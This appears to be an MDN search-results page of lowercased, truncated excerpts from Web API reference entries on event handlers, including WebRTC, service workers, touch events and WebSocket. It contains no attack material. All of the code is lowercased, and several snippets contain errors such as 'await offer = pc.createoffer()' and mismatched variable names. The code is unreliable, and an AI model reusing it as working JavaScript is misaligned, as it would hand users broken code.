the rtcdatachannel.onclosing property is an eventhandler which specifies a function to be called by the browser when the closing event is received by the rtcdatachannel.
... this is a simple event which indicates that the data channel is being closed, that is, rtcdatachannel transitions to "closing" state.
... syntax rtcdatachannel.onclosing = function; value a function which the browser will call to handle the closing event.
... the function receives as its sole input parameter the event itself, as an object of type event.
RTCError - Web APIs
WebAPIRTCError
examples in this example, a handler is established for an rtcdatachannel's error event.
... datachannel.addeventlistener("error", (event) => { let error = event.error; if (error.errordetail === "sdp-syntax-error") { let errline = error.sdplinenumber; let errmessage = error.message; let alertmessage = `a syntax error occurred interpreting line ${errline} of the sdp: ${errmessage}`; showmyalertmessage("data channel error", alertmessage); } else { terminatemyconnection(); } }); if the error is an sdp syntax error—indicated by its errordetail property being sdp-syntax-error—, a message string is constructed to present the error message and the line number within the sdp at which the error occurred.
... the above example uses addeventlistener() to add the handler for error events.
... you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerror' in that specification.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
as soon as it finds an acceptable matching pair of candidates, meeting the requirements for the connection, a selectedcandidatepairchange event is fired at the rtcicetransport.
... as ice negotiation continues, any time a pair of candidates is discovered that is better than the currently-selected pair, the new pair is selected, replacing the previous pairing, and the selectedcandidatepairchange event is fired again.
... example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair.
... var icetransport = pc.getsenders()[0].transport.icetransport; var localproto = document.getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getselectedcandidatepair()' in that specification.
RTCIceTransport.ongatheringstatechange - Web APIs
the ongatheringstatechange event handler for the rtcicetransport interface specifies an event handler that is to be called when the gatheringstatechange event occurs on the transport.
... this event is delivered whenever the transport's gatheringstate property changes.
... example this snippet establishes a handler for the gatheringstatechange event that checks to see if the state has changed to "complete", indicating that all ice candidates from both the local and remote peers have been received and processed.
... var icetransport = pc.getsenders()[0].transport.transport; icetransport.ongatheringstatechange = function(event) { if (icetransport.gatheringstate == "complete") { allcandidatesreceived(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.ongatheringstatechange' in that specification.
RTCIceTransport.onstatechange - Web APIs
the onstatechange event handler for the rtcicetransport interface is a property which specifies a function to serve as the eventhandler for the statechange event that is fired whenever the transport's state changes.
... the event handler receives as its sole input an event object describing the statechange event which occurred.
... example this snippet establishes a handler for the statechange event that looks to see if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being automatically restored.
... var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification.
RTCPeerConnection.addTrack() - Web APIs
note: adding a track to a connection triggers renegotiation by firing a negotiationneeded event.
...the handler for the track event on the remote peer will be responsible for determining what stream to add each track to, even if that means simply adding them all to the same stream.
... the ontrack handler might look like this: let inboundstream = null; pc.ontrack = ev => { if (ev.streams && ev.streams[0]) { videoelem.srcobject = ev.streams[0]; } else { if (!inboundstream) { inboundstream = new mediastream(); videoelem.srcobject = inboundstream; } inboundstream.addtrack(ev.track); } } here, the track event handler adds the track to the first stream specified by the event, if a stream is specified.
...that an application might use to begin streaming a device's camera and microphone input over an rtcpeerconnection to a remote peer: async opencall(pc) { const gumstream = await navigator.mediadevices.getusermedia( {video: true, audio: true}); for (const track of gumstream.gettracks()) { pc.addtrack(track, gumstream); } } the remote peer might then use a track event handler that looks like this: pc.ontrack = ({streams: [stream]} => videoelem.srcobject = stream; this sets the video element's current stream to the one that contains the track that's been added to the connection.
RTCPeerConnection.onicegatheringstatechange - Web APIs
the rtcpeerconnection.onicegatheringstatechange property is an eventhandler which specifies a function to be called when the icegatheringstatechange event is sent to an rtcpeerconnection instance.
... you don't need to watch for this event unless you have specific reasons to want to closely monitor the state of ice gathering.
... syntax rtcpeerconnection.onicegatheringstatechange = eventhandler; value a function you provide which is passed a single parameter: an event object containing the icegatheringstatechange event.
... the status is simply presented as text in a <div> element: <div id="icestatus"></div> the actual event handler looks like this: pc.onicegatheringstatechange = function() { let label = "unknown"; switch(pc.icegatheringstate) { case "new": case "complete": label = "idle"; break; case "gathering": label = "determining route"; break; } document.getelementbyid("icestatus").innerhtml = label; } specifications specification status comment ...
RTCPeerConnection.ontrack - Web APIs
the rtcpeerconnection property ontrack is an eventhandler which specifies a function to be called when the track event occurs, indicating that a track has been added to the rtcpeerconnection.
... the function receives as input the event object, of type rtctrackevent; this event is sent when a new incoming mediastreamtrack has been created and associated with an rtcrtpreceiver object which has been added to the set of receivers on connection.
... syntax rtcpeerconnection.ontrack = eventhandler; value set ontrack to be a function you provide that accepts as input a rtctrackevent object describing the new track and how it's being used.
... pc.ontrack = function(event) { document.getelementbyid("received_video").srcobject = event.streams[0]; document.getelementbyid("hangup-button").disabled = false; }; the first line of our ontrack event handler takes the first stream in the incoming track and sets the srcobject attribute to that.
RTCPeerConnection.restartIce() - Web APIs
restartice() causes the negotiationneeded event to be fired on the rtcpeerconnection to inform the application that it should perform negotiation using its signaling channel.
...the next time the connection's signalingstate changes to stable, the connection will fire the negotiationneeded event.
... example this example creates a handler for the iceconnectionstatechange event that handles a transition to the failed state by restarting ice in order to try again.
... pc.addeventlistener("iceconnectionstatechange", event => { if (pc.iceconnectionstate === "failed") { /* possibly reconfigure the connection in some way here */ /* then request ice restart */ pc.restartice(); } }); with this code in place, a transition to the failed state during ice negotiation will cause a negotiationneeded event to be fired, in response to which your code should renegotiate as usual.
RTCPeerConnection.setLocalDescription() - Web APIs
this is all your negotiationneeded event handler needs to look like, for the most part.
... pc.addeventlistener("negotiationneeded", async (event) => { await pc.setlocaldescription(); signalremotepeer({ description: pc.localdescription }); }); other than error handling, that's about it!
... providing your own offer or answer the example below shows the implementation of a handler for the negotiationneeded event that explicitly creates an offer, rather than letting setlocaldescription() do it.
... async function handlenegotiationneededevent() { try { await offer = pc.createoffer(); pc.setlocaldescription(offer); signalremotepeer({ description: pc.localdescription }); } catch(err) { reporterror(err); } } this begins by creating an offer by calling createoffer(); when that succeeds, we call setlocaldescription().
ReadableStream.pipeThrough() - Web APIs
piping a stream will generally lock it for the duration of the pipe, preventing other readers from locking it.
...available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed.
... preventabort: if this is set to true, errors in the source readablestream will no longer abort the destination writablestream.
... preventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream.
ReadableStream.pipeTo() - Web APIs
piping a stream will generally lock it for the duration of the pipe, preventing other readers from locking it.
...available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed.
... preventabort: if this is set to true, errors in the source readablestream will no longer abort the destination writablestream.
... preventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream.
Using the Resource Timing API - Web APIs
the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, fetch start, dns lookup start and end times, response start and end times, etc.
...performance.setresourcetimingbuffersize() = not supported"); } } the performance interface has a onresourcetimingbufferfull event handler that gets called (with an event of type event.type of "resourcetimingbufferfull") when the browser's resource performance entry buffer is full.
... the following code example sets a onresourcetimingbufferfull event callback in the init() function.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 = new image(); image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; var image2 = new image(); image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg" // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } coping with cors when cors is in effect, many of the timing properties' values are returned as zero unless the server's access policy permits these values to be shared.
SVGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...troke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object which provides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element.
... methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance events listen to these events using addeventlistener() or by assigning an event listener to the equivalent on...
... handler property defined on globaleventhandlers or windoweventhandlers.
SVGGeometryElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...><a xlink:href="/docs/web/api/svggeometryelement" target="_top"><rect x="81" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="171" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggeometryelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: the pathlength property and the gettotallength() and getpointatlength() methods were originally part of the svgpathelement interface.
...normal hit testing rules apply; the value of the pointer-events property on the element determines whether a point is considered to be within the fill.
...normal hit testing rules apply; the value of the pointer-events property on the element determines whether a point is considered to be within the stroke.
ScriptProcessorNode.onaudioprocess - Web APIs
the onaudioprocess event handler of the scriptprocessornode interface represents the eventhandler to be called for the audioprocess event that is dispatched to scriptprocessornode node types.
... an event of type audioprocessingevent will be dispatched to the event handler.
...for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
...equest.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio events scriptnode.onaudioprocess = function(audioprocessingevent) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; c...
ServiceWorker - Web APIs
a serviceworker object is available in the serviceworkerregistration.active property, and the serviceworkercontainer.controller property — this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events — install and activate — and functional events including fetch.
... event handlers serviceworker.onstatechange read only an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes.
... examples this code snippet is from the service worker registration-events sample (live demo).
...ting) { serviceworker = registration.waiting; document.queryselector('#kind').textcontent = 'waiting'; } else if (registration.active) { serviceworker = registration.active; document.queryselector('#kind').textcontent = 'active'; } if (serviceworker) { // logstate(serviceworker.state); serviceworker.addeventlistener('statechange', function (e) { // logstate(e.target.state); }); } }).catch (function (error) { // something went wrong during registration.
ServiceWorkerContainer.onmessage - Web APIs
the onmessage property of the serviceworkercontainer interface is an event handler fired whenever a message event occurs — when incoming messages are received to the serviceworkercontainer object (e.g., via a client.postmessage() call).
...as the event object of onmessage) are represented by messageevent objects in modern browsers, for consistency with other web messaging features.
... (they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkercontainer.onmessage = function(messageevent) { ...
... } example navigator.serviceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status comment service workersthe definition of 'serviceworkercontainer: onmessage' in that specification.
ServiceWorkerGlobalScope.onactivate - Web APIs
the onactivate property of the serviceworkerglobalscope interface is an event handler fired whenever an activate event occurs (when the service worker activates).
... syntax serviceworkerglobalscope.onactivate = function(event) { ...
... }; examples the following snippet shows how you could use an activate event handler to upgrade a cache.
... then.addeventlistener('activate', function(event) { var cachewhitelist = ['v2']; event.waituntil( caches.foreach(function(cache, cachename) { if (cachewhitelist.indexof(cachename) == -1) { return caches.delete(cachename); } }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oncontentdelete - Web APIs
the oncontentdelete property of the serviceworkerglobalscope interface is an event handler fired when an item is removed from the indexed content via the user agent.
... syntax serviceworkerglobalscope.oncontentdelete = function(event) { ...
... }; examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item.
... self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); specifications specification status comment unknownthe definition of 'contentdelete' in that specification.
ServiceWorkerGlobalScope.onfetch - Web APIs
the onfetch property of the serviceworkerglobalscope interface is an event handler fired whenever a fetch event occurs (usually when the windoworworkerglobalscope.fetch() method is called.) syntax serviceworkerglobalscope.onfetch = function(fetchevent) { ...
... }; example this code snippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
... self.addeventlistener('fetch', function(event) { console.log('handling fetch event for', event.request.url); event.respondwith( caches.match(event.request).then(function(response) { if (response) { console.log('found response in cache:', response); return response; } console.log('no response found in cache.
... about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment service workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oninstall - Web APIs
the oninstall property of the serviceworkerglobalscope interface is an event handler fired whenever an install event occurs (when the service worker installs).
... syntax serviceworkerglobalscope.oninstall = function(event) { ...
... }; examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications specification status comment service workersthe definit...
...ion of 'event handlers' in that specification.
ServiceWorkerGlobalScope.onnotificationclick - Web APIs
the serviceworkerglobalscope.onnotificationclick property is an event handler called whenever the notificationclick event is dispatched on the serviceworkerglobalscope object, that is when a user clicks on a displayed notification spawned by serviceworkerregistration.shownotification().
... notifications created on the main thread or in workers which aren't service workers using the notification() constructor will instead receive a click event on the notification object itself.
... syntax serviceworkerglobalscope.onnotificationclick = function(notificationevent) { ...
... }; example self.onnotificationclick = function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }; specifications specification status comment notifications apithe definition of 'onnotificationclick' in that specification.
ServiceWorkerState - Web APIs
during this state, extendableevent.waituntil() can be called inside the install event handler to extend the life of the installing worker until the passed promise resolves successfully.
...during this state, extendableevent.waituntil() can be called inside the onactivate event handler to extend the life of the active worker until the passed promise resolves successfully.
... no functional events are dispatched until the state becomes activated.
... activated the service worker in this state is considered an active worker ready to handle functional events.
SyncManager.register() - Web APIs
maxdelay: the maximum delay in milliseconds before the next sync event (or the first sync event if it is periodic).
... mindelay: the minimum delay in milliseconds before the next sync event (or the first sync event if it is periodic).
... minperiod: the minimum time in milliseconds between periodic sync events.
... the default is 0, meaning events are not periodic.
TextTrackList.onchange - Web APIs
the texttracklist property onchange is an event handler which is called when the change event occurs, indicating that a change has occurred on a texttrack in the videotracklist.
... note: you can also add a handler for the change event using addeventlistener().
... syntax texttracklist.onchange = eventhandler; example this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track.
... var tracklist = document.queryselector("video, audio").texttracks; tracklist.onchange = function(event) { ....
Touch.clientX - Web APIs
WebAPITouchclientX
when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates, from the starting touch point to the ending touch point, are calculated.
... // register touchstart and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touchstart', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates.
...}, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Touch.clientY - Web APIs
WebAPITouchclientY
when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates, from the starting touch point to the ending touch point, are calculated.
... // register touchstart and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touchstart', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates.
...}, false); specifications specification status comment touch events – level 2 draft no changes since last version.
... touch events recommendation initial definition.
Touch.identifier - Web APIs
WebAPITouchidentifier
this value remains consistent for every event involving this finger's (or stylus's) movement on the surface until it is lifted off the surface.
... example someelement.addeventlistener('touchmove', function(e) { // iterate through the list of touch points that changed // since the last event and print each touch point's identifier.
... for (var i=0; i < e.changedtouches.length; i++) { console.log("changedtouches[" + i + "].identifier = " + e.changedtouches[i].identifier); } }, false); specifications specification status comment touch events – level 2 draft no change.
... touch events recommendation initial definition.
Touch.pageX - Web APIs
WebAPITouchpageX
when the touchmove event handler is invoked, each touch point's touch.pagex and touch.pagey coordinates are accessed via the event's touchevent.changedtouches list.
... // register a touchmove listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchmove', function(e) { // iterate through the touch points that have moved and log each // of the pagex/y coordinates.
... var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from the previous version.
... touch events recommendation initial definition.
Touch.pageY - Web APIs
WebAPITouchpageY
when the touchmove event handler is invoked, each touch point's touch.pagex and touch.pagey coordinates are accessed via the event's touchevent.changedtouches list.
... // register a touchmove listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchmove', function(e) { // iterate through the touch points that have moved and log each // of the pagex/y coordinates.
... var i; for (i=0; i < e.changedtouches.length; i++) { console.log("touchpoint[" + i + "].pagex = " + e.changedtouches[i].pagex); console.log("touchpoint[" + i + "].pagey = " + e.changedtouches[i].pagey); } }, false); specifications specification status comment touch events – level 2 draft no change from last version.
... touch events recommendation initial definition.
Touch.radiusX - Web APIs
WebAPITouchradiusX
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
... the following simple code snippet, registers a single handler for the touchstart, touchmove and touchend events.
...</div> var src = document.getelementbyid("src"); src.addeventlistener('touchstart', rotate); src.addeventlistener('touchmove', rotate); src.addeventlistener('touchend', rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default event handling e.preventdefault(); // rotate element 'src'.
... src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + touch.rotationangle + "deg)"; }; specifications specification status comment touch events – level 2 draft non-stable version.
Touch.screenX - Web APIs
WebAPITouchscreenX
when the touchstart event handler is invoked, each touch point's touch.screenx and touch.screeny coordinates are accessed.
... // register a touchstart listeners for the 'source' element var src = document.getelementbyid("source"); src.addeventlistener('touchstart', function(e) { // iterate through the touch points and log each screenx/y coordinate.
... var i; for (i=0; i < e.touches.length; i++) { console.log("touchpoint[" + i + "].screenx = " + e.touches[i].screenx); console.log("touchpoint[" + i + "].screeny = " + e.touches[i].screeny); } }, false); specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
VisualViewport - Web APIs
properties visualviewport also inherits properties from its parent, eventtarget.
... events listen to these events using addeventlistener() or by assigning an event listener to the relevant oneventname property of this interface.
... var bottombar = document.getelementbyid('bottombar'); var viewport = window.visualviewport; function resizehandler() { if (viewport.scale > 1.3) bottombar.style.display = "none"; else bottombar.style.display = "block"; } window.visualviewport.addeventlistener('resize', resizehandler); simulating position: device-fixed this example, also taken from the visual viewport readme, shows how to use this api to simulate position: device-fixed, which fixes elements to the visual viewport.
... bottombar.style.transform = 'translate(' + offsetleft + 'px,' + offsettop + 'px) ' + 'scale(' + 1/viewport.scale + ')' } window.visualviewport.addeventlistener('scroll', viewporthandler); window.visualviewport.addeventlistener('resize', viewporthandler); note: this technique should be used with care; emulating position: device-fixed in this way can result in the fixed element flickering during scrolling.
WakeLockSentinel - Web APIs
prevents devices from dimming or locking the screen.
... event handlers onrelease fired when the release() method is called or the wake lock is released by the user agent.
...once acquired we listen for the onrelease event which can be used to give appropriate ui feedback.
... // create a reference for the wake lock let wakelock = null; // create an async function to request a wake lock const requestwakelock = async () => { try { wakelock = await navigator.wakelock.request('screen'); // listen for our release event wakelock.addeventlistener('release', () => { // if wake lock is released alter the ui accordingly }); } catch (err) { // if wake lock request fails - usually system related, such as battery } } wakelockonbutton.addeventlistener('click', () => { requestwakelock(); }) wakelockoffbutton.addeventlistener('click', () => { if (wakelock !== null) { wakelock.release() .then(() => { wakelock = null; }) } }) specifications ...
WebGLRenderingContext.makeXRCompatible() - Web APIs
this is why the webglcontextlost and webglcontextrestored events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context.
... javascript the code that handles starting up graphics, switching to vr mode, and so forth looks like this: const outputcanvas = document.queryselector(".output-canvas"); const gl = outputcanvas.getcontext("webgl"); let xrsession = null; let usingxr = false; let currentscene = "scene1"; let glstartbutton; let xrstartbutton; window.addeventlistener("load", (event) => { loadsceneresources(currentscene); glstartbutton.addeventlistener("click", handlestartbuttonclick); xrstartbutton.addeventlistener("click", handlestartbuttonclick); }); outputcanvas.addeventlistener("webglcontextlost", (event) => { /* the context has been lost but can be restored */ event.canceled = true; }); /* when the gl context is reconnected, reload t...
...*/ outputcanvas.addeventlistener("webglcontextrestored", (event) => { loadsceneresources(currentscene); }); async function onstartedxrsession(xrsession) { try { await gl.makexrcompatible(); } catch(err) { switch(err) { case aborterror: showsimplemessagebox("unable to transfer the game to your xr headset.", "cancel"); break; case invalidstateerror: showsimplemessagebox("you don't appear to have a compatible xr headset available.", "cancel"); break; default: handlefatalerror(err); break; } xrsession.end(); } } async function handlestartbuttonclick(event) { if (event.target.classlist.contains("use-webxr") && navigator.xr) { try { xrsession = await navigator...
...these both use the handlestartbuttonclick() function as their event handler.
Animating textures in WebGL - Web APIs
deo the first step is to create the <video> element that we'll use to retrieve the video frames: // will set to true when video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true; checkready(); }, true); video.addeventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true); video.src = url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; }...
...we then set up two events to make sure the video is playing and the time has been updated.
...checking for both of these events guarantees there is data available and it's safe to start uploading video to a webgl texture.
... in the code above, we confirm whether we got both of those events; if so, we set a global variable, copyvideo, to true to indicate that it's safe to start copying the video to a texture.
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
the websocket interface's onerror event handler property is a function which gets called when an error occurs on the websocket.
... you can also add an error event handler using addeventlistener().
... syntax websocket.onerror = eventhandler; value a function or eventhandler which is executed whenever an error event occurs on the websocket connection.
... example websocket.onerror = function(event) { console.error("websocket error observed:", event); }; specifications specification status comment html living standardthe definition of 'websocket: onerror' in that specification.
The WebSocket API (WebSockets) - Web APIs
with this api, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.
... closeevent the event sent by the websocket object when the connection closes.
... messageevent the event sent by the websocket object when a message is received from the server.
... total.js: web application framework for node.js (example: websocket chat) faye: a websocket (two-ways connections) and eventsource (one-way connections) for node.js server and client.
Geometry and reference spaces in WebXR - Web APIs
const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to prevent it from being used in fingerprinting and timing-based attacks.
...in virtual reality (vr), it's all about creating a sense of space in which the user's movements are precisely matched by the imagery presented on the virtual display, to prevent disjoints and disconnects that could cause discomfort or worse.
...this is a reference space which is provided to your app when input events occur.
...if you wish to prevent the user from moving into certain areas, you must handle that yourself.
Window.ondevicelight - Web APIs
specifies an event listener to receive devicelight events.
... these events occur when the device's light level sensor detects a change in the intensity of the ambient light level.
... syntax window.ondevicelight = funcref where funcref is a function to be called when the devicelight event occurs.
... these events are of type devicelightevent.
window.ondeviceorientation - Web APIs
summary an event handler for the deviceorientation event, which contains information about a relative device orientation change.
... syntax window.ondeviceorientation = function(event) { ...
... }; window.addeventlistener('deviceorientation', function(event) { ...
... }); specifications specification status comment deviceorientation event specification editor's draft initial specification.
Window.ondeviceorientationabsolute - Web APIs
summary an event handler for the deviceorientationabsolute event containing information about an absolute device orientation change.
... syntax window.ondeviceorientationabsolute = function(event) { ...
... }; window.addeventlistener('deviceorientationabsolute', function(event) { ...
... }); specifications this event handler is not currently part of any specification.
Window.ondeviceproximity - Web APIs
the ondeviceproximity property of the window interface specifies an eventhandler to receive deviceproximity events.
... these events occur when the device sensor detects that an object becomes closer to or farther from the device.
... syntax window.onuserproximity = funcref where funcref is a function to be called when the deviceproximity event occurs.
... these events are of type deviceproximityevent.
Window.onpaint - Web APIs
WebAPIWindowonpaint
window.onpaint is an event handler for the paint event on the window.
... notes onpaint doesn't work currently, and it is questionable whether this event is going to work at all, see bug 239074.
... the paint event is raised when the window is rendered.
... this event occurs after the load event for a window, and reoccurs each time the window needs to be re-rendered, such as when another window obscures it and is then cleared away.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
the queuemicrotask() method, which is exposed on the window or worker interface, queues a microtask to be executed at a safe time prior to control returning to the browser's event loop.
... the microtask is a short function which will run after the current task has completed its work and when there is no other code waiting to be run before control of the execution context is returned to the browser's event loop.
...enqueued microtasks are executed after all pending tasks have completed but before yielding control to the browser's event loop.
... examples self.queuemicrotask(() => { // function contents here }) taken from the queuemicrotask spec: myelement.prototype.loaddata = function (url) { if (this._cache[url]) { queuemicrotask(() => { this._setdata(this._cache[url]); this.dispatchevent(new event("load")); }); } else { fetch(url).then(res => res.arraybuffer()).then(data => { this._cache[url] = data; this._setdata(data); this.dispatchevent(new event("load")); }); } }; when queuemicrotask() isn't available the code below is basically a monkey-patch for queuemicrotask() for modern engines.
XDomainRequest.onprogress - Web APIs
this method is called periodically as an event handler for progress events on xdomainrequests, so that code can monitor progress while loading content.
... note: while handling this event, you can look at xdomainrequest.responsetext to get the response so far.
... once loading is complete, the xdomainrequest.onload event handler gets called.
... syntax xdr.onprogress = funcref; parameters funcref a function to call when progress events occur.
Sending and Receiving Binary Data - Web APIs
var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property.
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ...
... var oreq = new xmlhttprequest(); oreq.open("post", url, true); oreq.onload = function (oevent) { // uploaded.
